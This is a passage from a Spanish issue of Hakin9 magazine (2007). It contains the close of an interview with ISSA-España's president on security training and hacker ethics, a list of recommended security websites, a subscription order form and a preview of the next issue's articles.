F.B.: Actualmente existen diferentes programas de formación, pero basados básicamente en programas de postgrado o bien en certificaciones profesionales, así como eventos puntuales independientes u organizados por fabricantes.

Pero bien, es cierto que el mercado demanda cada vez mas eventos de formación e información cada vez mas profesionalizados.

En la actualidad tenemos básicamente tres tipos de perfiles de asistentes a los eventos de seguridad, en pri-mer lugar nos encontramos con personal de dirección y ejecutivo que buscan conocer de primera mano los últi-mos adelantos en la materia, las nuevas amenazas y sus soluciones, un público exigente en cuanto a la calidad de la información facilitada y con un enfoque puro de negocio.

En segundo lugar nos encontramos a personal de departamentos de TI que persiguen vías de mejora en sus procesos y desarrollos, con un perfil técnico elevado, con problemas y cuestiones concretas, y en tercer lugar nos encontramos a personas que están trabajando en el área de las TI, pero sin dedicación al área de seguridad y estudiantes que buscan ampliar sus conocimientos los cuales demandan conocimiento y muchas veces un foro donde discutir sus ideas.

Figura 1. Página oficial de ISSA-SPAIN Figura 2. Página oficial de ISSA-SPAIN

Page 78: Revista Hakin9 n23 04-2007 ES

www.hakin9.org

Entrevista

78

h9: ¿ISSA-España coopera también con otras orga-nizaciones españolas que actúan dentro del campo de la seguridad informática?

F.B.: ISSA-España colabora con distintas asociacio-nes y entidades en la búsqueda de la mejora del campo de la seguridad, nuestra colaboración comprende desde el simple soporte y ayuda en el desarrollo de la segu-ridad en todos los ámbitos a la creación de comisiones y mesas de trabajo sobre problemáticas concretas, no cerramos nunca las puertas a colaboraciones e iniciati-vas encaminadas dentro del área de la seguridad.

Nuestro afán como asociación profesional, busca también la colaboración con otras asociaciones similares y buscamos siempre que estas sean de beneficio tanto pa-ra nuestros asociados como para el público en general.

h9: ¿Podría contarnos algo sobre los planos de IS-SA-España para el año 2007? ¿Cuáles van a ser sus iniciativas más importantes? ¿Qué objetivos se han mar-cado a alcanzar?

F.B.: En Diciciembre del año pasado, abordé la presi-dencia de ISSA-España con un programa claro y para mi de obligado cumplimiento, con en el cual se pretende que la asociación tenga un papel más activo dentro de la comu-nidad de la seguridad informática, con proyectos de forma-ción, desarrollo y concienciación que iremos desarrollando a lo largo de este año, sin descuidar en ningún momento las demás labores de la asociación, como el networking (el cual es muy necesario en esta actividad, dado que no somos muchos los actores involucrados y opino que de-bemos tener un espacio mutuo de relación), las relaciones con los demás capítulos internacionales, dado que ello nos aportará otros puntos de vista a los problemas que actual-mente sufrimos en nuestro área a nivel nacional, y sobre todo tener un punto común de conexión entre aquellos que trabajamos, estudiamos e investigamos en este área.

Como iniciativa más importante en este momento estamos planteando la creación de una mesa de tra-bajo entre los profesionales de un sector específico, para juntar en una misma mesa a diferentes partes y enfocar los problemas de ese sector, iniciativa que pensamos abordar con distintos sectores de la indus-tria y economía.

h9: ¿En su opinión hoy en día hay más asociaciones que reúnen a hackers, en el sentido tradicional de esta palabra, o asociaciones del tipo de ISSA? ¿Cuál es la relación entre ellas? ¿Son dos mundos diferentes o más bien realidades que se entrelazan?

F.B.: Es evidente que buscado en el underground nos encontramos con muchos grupos hackers, pero no los veo como grupos asociativos como puede ser ISSA-España, sino que mas bien son núcleos de gente con inquietudes similares que se reúnen para intercam-biar conocimiento, numéricamente evidentemente son mucho más numerosas que las asociaciones de profe-sionales de la seguridad informática (aunque muchos de los anteriores acaban recalando en asociaciones profesionales).

Bajo mi punto de vista todos somos hackers, pues nos puede la investigación y la curiosidad en muchos as-pectos, evidentemente son numerosas las denominadas asociaciones o grupos hacker, pero se han de diferenciar de aquellos grupos que buscan aspectos lucrativos por la vía maliciosa.

Evidentemente las barreras entre el mundo de la se-guridad informática y el uso de los conocimientos para la comisión de delitos es muy marcada. Claro está que el profesional ha de gestionar la seguridad de los sistemas y para ello evidentemente ha de conocer sus amenazas y riesgos, ¿si no qué gestionaría? Si estuviésemos en un mundo perfecto, no sería necesario el uso de sistemas de protección, yo calificaría siempre que son mundos super-puestos, en los que los maliciosos han cruzado una línea ética y moral de difícil vuelta atrás, que en ocasiones les puede lastrar y ocasionar problemas, y otros que usamos los conocimientos para un bien y beneficio común.

No obstante, hoy en día a mi opinión se ha de hablar de mafias del cibercrimen cuando nos referimos a ame-nazas altamente peligrosas. La gente con ética y moral no traspasa la barrera.

h9: ¿Usted mismo en algún momento de su vida se consideraba hacker? ¿Cree Usted que la magia de ser hacker es muy fuerte entre los profesionales de seguri-dad informática? Hay muchos profesionales que guardan el espíritu del hacker durante toda la vida o en general es una aventura de juventud?

F.B.: Quien diga que no que levante la mano, pero no creo que NADIE en algún momento haya tenido su mo-mento de hacker en mayor o menor medida, pero siempre ha sentido curiosidad por algo y lo ha investigado, si no difícilmente puede tener el pensamiento y la capacidad necesaria para determinar un grado de seguridad.

Para mi opinión la denominación hacker hace más re-ferencia a una forma de pensar y a una visión, no es un pa-trón de acción malicioso por necesidad, sino una forma y actitud frente al conocimiento, que no ha de ser peyorativo ni de una actitud ilegal. Realmente creo que con el tiempo vas teniendo otras perspectivas, pero siempre prevalece ese espíritu (necesario en los que administran y revisan la seguridad) de conocer más allá de los límites preestable-cidos y pensar como tu posible contrincante.

Mal comparado esto es como el ajedrez, tienes que adivinar el movimiento del contrario. Es por ello por lo que siempre un profesional perfecto de este área ha de estar actualizado y disponer de una visión en muchos casos de 360º, ya que ha de conocer a que se enfrenta y cuales son las posibles amenazas que ha de gestionar.

Por desgracia muchas veces esa focalización es imposible, por lo cual nunca puede existir un experto en seguridad integral, no se puede estar permanente-mente estudiando y a la vez trabajando, por lo cual se pierde esa visión total y se produce una parcelización o más bien llamémosle especialización en áreas deter-minadas. l

Page 79: Revista Hakin9 n23 04-2007 ES

Páginas recomendadas

Páginas recomendadasSi tienes una página web interesante y quieres que la presentemos en nuestra sección de “Páginas recomendadas” contáctanos: [email protected]

Aquí encontrarás todo lo que debes saber www.segu-info.com.ar

Indaya teaM fue creada por un grupo de per-sonas amantes de la informática para ayudar a todos los que se interesan por la informática.

http://www.indaya.com

Un espacio libre para compartir: descargas, software, programas oscuros, dudas, noticias, trucos... y más cosas a ritmo de blues.

http://www.viejoblues.com

Seguridad0 es un magazine gratuito de seguri-dad informática. Tiene una periodicidad sema-nal, aunque se anaden noticias a diario.

http://www.seguridad0.com

Web especializada en artículos técnicos sobre Linux. Aquí encontrarás las últimas noticias so-bre Linux y Software Libre, foros.

www.diariolinux.com

Sitio de noticias que brinda la más variada in-formación en cuanto al mundo de los móviles, enlaces, contactos, y mucho más.

www.diginota.com

Tecnología, informática e Internet. Allí encontra-rás enlaces, foros, fondos de escritorio y una bi-blioteca repleta de artículos interesantes...

http://www.hispabyte.net

Hack Hispano, comunidad de usuarios en la que se tratan temas de actualidad sobre nuevas tecnologías, Internet y seguridad informática.

http://www.hackhispano.com

Una especie de portal para la gente a que le gusta la informática y la seguridad. Si te gu-sta este mundo, te gustará elhacker.net.

http://www.elhacker.net

Un lugar de encuentro para todos interesados en temas de seguridad

www.daboweb.com

CyruxNET – allí encontrarás la información detallada sobre las técnicas hack más po-pulares.

http://www.cyruxnet.org

DelitosInformaticos.com revista digital de infor-mación legal sobre nuevas tecnologías.

www.delitosinformaticos.com

Page 80: Revista Hakin9 n23 04-2007 ES

www.buyitpress.com

¡Suscríbete a tus revistas favoritasy pide los números atrasados!

Ahora te puedes suscribir a tus revistas preferidas en tan sólo un momento y de manera segura.

Te garantizamos:• precios preferibles, • pago en línea, • rapidez en atender tu pedido.¡Suscripción segura a todas las revistas de Software-Wydawnictwo!

¡Regalos para nuevos suscriptores!

Page 81: Revista Hakin9 n23 04-2007 ES

Nombre(s) ................................................................................................... Apellido(s) ..................................................................................................

Dirección ..............................................................................................................................................................................................................................

C.P. .............................................................................................................. Población ....................................................................................................

Teléfono ..................................................................................................... Fax ...............................................................................................................

Suscripción a partir del No ...................................................................................................................................................................................................

e-mail (para poder recibir la factura) ..................................................................................................................................................................................

o Renovación automática de la suscripción

Por favor, rellena este cupón y mándalo por fax: 0048 22 887 10 11 o por correo: Software-Wydawnictwo Sp. z o. o.,Bokserska 1, 02-682 Varsovia, Polonia; e-mail: [email protected]

Pedido de suscripción

Título número de ejemplares

al año

número de suscripcio-

nes

a partirdel número Precio

Linux+DVD (2 DVD’s)Mensual con dos DVDs dedicado a Linux 12 69 €

Hakin9 – ¿cómo defenderse? (1 CD)Mensual para las personas que se interesan por la seguridad de sistemas informáticos

12 69 €

Linux+Pack (2 o 3 DVD’s)Las distribuciones de Linux más populares 8 65 €

MSCoder (1 CD)Independent magazine for developers using Microsoft platforms 6 38 €

En total

Realizo el pago con:

□ tarjeta de crédito (EuroCard/MasterCard/Visa/American Express) nO CVC Code Válida hasta

□ transferencia bancaria a BANCO SANTANDER CENTRAL HISPANO Número de la cuenta bancaria: 0049-1555-11-221-0160876 IBAN: ES33 0049 1555 1122 1016 0876 código SWIFT del banco (BIC): BSCHESMM Fecha y firma obligatorias:

Page 82: Revista Hakin9 n23 04-2007 ES

Información actual sobre el próximo número – http://www.hakin9.org/esEl número está a la venta desde principios de Mayo de 2007.La redacción se reserva el derecho a cambiar el contenido de la revista.

hakin9 24 En el número siguiente, entre otros:

Próximo número

Securización de aplicaciones PHPEn este artículo, muy práctico y de una gran importancia para todas las personas que hacen aplicaciones PHP, aprenderéis como escribir código seguro y hacer seguro código antiguo. En el artículo preparado por los espe-cialistas de la empresa DPI - Diseño Programación e Integración, encontra-réis una buena información sobre este tema tan importante e infelizmente poco averiguado. El objetivo principal de este texto práctico y a la misma vez divertido, es hacer los programadores principiantes de PHP tener un poco más cuidado y pensar en términos de seguridad.

Ataques DoS en redes WiFiEl artículo describirá mediante ejemplos prácticos y teoría los diversos ata-ques de denegación de servicio existentes en las redes 802.11 así como las posibles soluciones que ayuden a mitigar dichos ataques respectivamente. El lector conocerá la diversidad de ataques DoS existentes en las redes WiFi, así como las herramientas de las que dispone un atacante para llevar dichos ataques.

También aprenderás las diversas contramedidas que se podrían utilizar para mitigar los efectos en cada caso.

Introducción a Single Sign-onA medida que la World Wide Web ha ido creciendo, tanto en Internet como en las redes institucionales privadas, ha surgido un problema colateral aso-ciado al acceso restringido a recursos situados dentro de esas redes. Si al comienzo de los años 90 lo realmente importante era realizar páginas web con contenido y enlaces de interés, en la actualidad esto se da por supuesto, y se empieza a pensar en acceder a contenidos situados dentro de redes privadas o en plataformas software instaladas en dichas subredes, cuyo acceso debe ser por lo general limitado de algún modo. Lo mismo ocurre en empresas en las que se ofrecen varios servicios software con identificación. La solución ideal para integrar la autenticación de todos estos servicios en uno se conoce como "single sign-on", y en este artículo veremos en qué consiste.

En CD:• Hakin9.live: distribución bootable de Linux• tutoriales: ejercicios prácticos de los problemas tratados en los artículos• documentación adicional• versiones completas de aplicaciones comerciales

Defensa

Ataqve

Defensa

Page 83: Revista Hakin9 n23 04-2007 ES
Page 84: Revista Hakin9 n23 04-2007 ES